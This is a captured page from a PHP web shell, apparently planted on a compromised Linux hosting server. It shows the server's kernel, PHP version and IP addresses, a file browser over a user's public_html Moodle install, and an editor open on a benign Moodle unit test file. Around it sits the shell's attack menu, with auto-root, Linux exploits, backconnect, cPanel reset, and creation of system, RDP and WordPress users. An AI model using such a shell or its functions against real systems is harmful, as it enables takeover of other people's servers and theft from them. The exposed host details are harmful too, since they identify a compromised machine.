Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.58.161
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
mod /
workshop /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
behat
[ DIR ]
drwxr-xr-x
fixtures
[ DIR ]
drwxr-xr-x
generator
[ DIR ]
drwxr-xr-x
cron_task_test.php
2.58
KB
-rw-r--r--
events_test.php
11.61
KB
-rw-r--r--
external_test.php
86.66
KB
-rw-r--r--
generator_test.php
4.63
KB
-rw-r--r--
lib_test.php
34.74
KB
-rw-r--r--
locallib_test.php
33.85
KB
-rw-r--r--
portfolio_caller_test.php
8.08
KB
-rw-r--r--
privacy_provider_test.php
22.59
KB
-rw-r--r--
restore_date_test.php
3.79
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : portfolio_caller_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Unit tests for mod_workshop_portfolio_caller class defined in mod/workshop/classes/portfolio_caller.php * * @package mod_workshop * @copyright 2016 An Pham Van <an.phamvan@harveynash.vn> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->dirroot . '/mod/workshop/locallib.php'); require_once(__DIR__ . '/fixtures/testable.php'); require_once($CFG->dirroot . '/mod/workshop/classes/portfolio_caller.php'); /** * Unit tests for mod_workshop_portfolio_caller class * * @package mod_workshop * @copyright 2016 An Pham Van <an.phamvan@harveynash.vn> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class mod_workshop_porfolio_caller_testcase extends advanced_testcase { /** @var stdClass $workshop Basic workshop data stored in an object. */ protected $workshop; /** @var stdClass mod info */ protected $cm; /** * Setup testing environment. */ protected function setUp(): void { parent::setUp(); $this->setAdminUser(); $course = $this->getDataGenerator()->create_course(); $workshop = $this->getDataGenerator()->create_module('workshop', ['course' => $course]); $this->cm = get_coursemodule_from_instance('workshop', $workshop->id, $course->id, false, MUST_EXIST); $this->workshop = new testable_workshop($workshop, $this->cm, $course); } /** * Tear down. */ protected function tearDown(): void { $this->workshop = null; $this->cm = null; parent::tearDown(); } /** * Test the method mod_workshop_portfolio_caller::load_data() */ public function test_load_data() { $this->resetAfterTest(true); $student1 = $this->getDataGenerator()->create_user(); $student2 = $this->getDataGenerator()->create_user(); $this->getDataGenerator()->enrol_user($student1->id, $this->workshop->course->id); $this->getDataGenerator()->enrol_user($student2->id, $this->workshop->course->id); $workshopgenerator = $this->getDataGenerator()->get_plugin_generator('mod_workshop'); $subid1 = $workshopgenerator->create_submission($this->workshop->id, $student1->id); $asid1 = $workshopgenerator->create_assessment($subid1, $student2->id); $portfoliocaller = new mod_workshop_portfolio_caller(['id' => $this->workshop->cm->id, 'submissionid' => $subid1]); $portfoliocaller->set_formats_from_button([]); $portfoliocaller->load_data(); $reflector = new ReflectionObject($portfoliocaller); $propertysubmission = $reflector->getProperty('submission'); $propertysubmission->setAccessible(true); $submission = $propertysubmission->getValue($portfoliocaller); $this->assertEquals($subid1, $submission->id); } /** * Test the method mod_workshop_portfolio_caller::get_return_url() */ public function test_get_return_url() { $this->resetAfterTest(true); $student1 = $this->getDataGenerator()->create_user(); $this->getDataGenerator()->enrol_user($student1->id, $this->workshop->course->id); $workshopgenerator = $this->getDataGenerator()->get_plugin_generator('mod_workshop'); $subid1 = $workshopgenerator->create_submission($this->workshop->id, $student1->id); $portfoliocaller = new mod_workshop_portfolio_caller(['id' => $this->workshop->cm->id, 'submissionid' => $subid1]); $portfoliocaller->set_formats_from_button([]); $portfoliocaller->load_data(); $expected = new moodle_url('/mod/workshop/submission.php', ['cmid' => $this->workshop->cm->id, 'id' => $subid1]); $actual = new moodle_url($portfoliocaller->get_return_url()); $this->assertTrue($expected->compare($actual)); } /** * Test the method mod_workshop_portfolio_caller::get_navigation() */ public function test_get_navigation() { $this->resetAfterTest(true); $student1 = $this->getDataGenerator()->create_user(); $this->getDataGenerator()->enrol_user($student1->id, $this->workshop->course->id); $workshopgenerator = $this->getDataGenerator()->get_plugin_generator('mod_workshop'); $subid1 = $workshopgenerator->create_submission($this->workshop->id, $student1->id); $portfoliocaller = new mod_workshop_portfolio_caller(['id' => $this->workshop->cm->id, 'submissionid' => $subid1]); $portfoliocaller->set_formats_from_button([]); $portfoliocaller->load_data(); $this->assertTrue(is_array($portfoliocaller->get_navigation())); } /** * Test the method mod_workshop_portfolio_caller::check_permissions() */ public function test_check_permissions_exportownsubmissionassessment() { global $DB; $this->resetAfterTest(true); $context = context_module::instance($this->cm->id); $student1 = $this->getDataGenerator()->create_user(); $student2 = $this->getDataGenerator()->create_user(); $roleids = $DB->get_records_menu('role', null, '', 'shortname, id'); $this->getDataGenerator()->enrol_user($student1->id, $this->workshop->course->id, $roleids['student']); $this->getDataGenerator()->enrol_user($student2->id, $this->workshop->course->id, $roleids['student']); $workshopgenerator = $this->getDataGenerator()->get_plugin_generator('mod_workshop'); $subid1 = $workshopgenerator->create_submission($this->workshop->id, $student1->id); $asid1 = $workshopgenerator->create_assessment($subid1, $student2->id); $this->setUser($student1); $portfoliocaller = new mod_workshop_portfolio_caller(['id' => $this->workshop->cm->id, 'submissionid' => $subid1]); role_change_permission($roleids['student'], $context, 'mod/workshop:exportsubmissions', CAP_PREVENT); $this->assertFalse($portfoliocaller->check_permissions()); role_change_permission($roleids['student'], $context, 'mod/workshop:exportsubmissions', CAP_ALLOW); $this->assertTrue($portfoliocaller->check_permissions()); } /** * Test the method mod_workshop_portfolio_caller::get_sha1() */ public function test_get_sha1() { $this->resetAfterTest(true); $student1 = $this->getDataGenerator()->create_user(); $student2 = $this->getDataGenerator()->create_user(); $this->getDataGenerator()->enrol_user($student1->id, $this->workshop->course->id); $this->getDataGenerator()->enrol_user($student2->id, $this->workshop->course->id); $workshopgenerator = $this->getDataGenerator()->get_plugin_generator('mod_workshop'); $subid1 = $workshopgenerator->create_submission($this->workshop->id, $student1->id); $asid1 = $workshopgenerator->create_assessment($subid1, $student2->id); $portfoliocaller = new mod_workshop_portfolio_caller(['id' => $this->workshop->cm->id, 'submissionid' => $subid1]); $portfoliocaller->set_formats_from_button([]); $portfoliocaller->load_data(); $this->assertTrue(is_string($portfoliocaller->get_sha1())); } /** * Test function display_name() * Assert that this function can return the name of the module ('Workshop'). */ public function test_display_name() { $this->resetAfterTest(true); $name = mod_workshop_portfolio_caller::display_name(); $this->assertEquals(get_string('pluginname', 'mod_workshop'), $name); } }
Close